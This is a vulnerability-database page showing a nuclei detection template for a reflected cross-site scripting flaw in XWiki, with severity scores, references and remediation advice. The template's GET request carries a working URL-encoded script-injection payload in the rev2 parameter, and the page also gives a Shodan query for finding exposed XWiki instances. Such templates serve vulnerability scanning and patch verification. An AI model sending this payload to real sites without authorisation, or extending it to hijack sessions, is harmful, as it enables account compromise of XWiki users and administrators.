Lucene search
K

XWiki - Cross-Site Scripting

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 8 Views

XWiki has reflected XSS via viewer=changes caused by unsanitized rev2 parameter; affects older versions.

Related
Refs
Code
id: CVE-2026-40105

info:
  name: XWiki - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.
  impact: |
    Attackers can execute JavaScript in users' browsers, potentially compromising admin accounts and the entire XWiki instance.
  remediation: |
    Update to a version later than 17.10.0 or apply the patch to templates/changesdoc.vm manually.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-w4fj-87j5-f25c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40105
    - https://jira.xwiki.org/browse/XWIKI-22481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-40105
    epss-score: 0.00549
    epss-percentile: 0.41923
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: xwiki
    product: xwiki-platform
    shodan-query: http.title:"XWiki"
  tags: cve,cve2026,xwiki,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/Sandbox/?viewer=changes&rev1=9.1&rev2=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F17.6.0q1che%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Evfu80q44msz&form_token=test&language=en"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "<h1>Changes for page"
          - "From version"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220189ee1382c4cc094ae940bbad197eadb48c0ecab40d1122442e75d820c7af319022100d8829c3bd71427d3a086f14bec7c84997b29b87bffd1baf227dcfeb0d319bbc9:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 May 2026 07:30Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.16.1
CVSS 46.5
EPSS0.00549
SSVC
8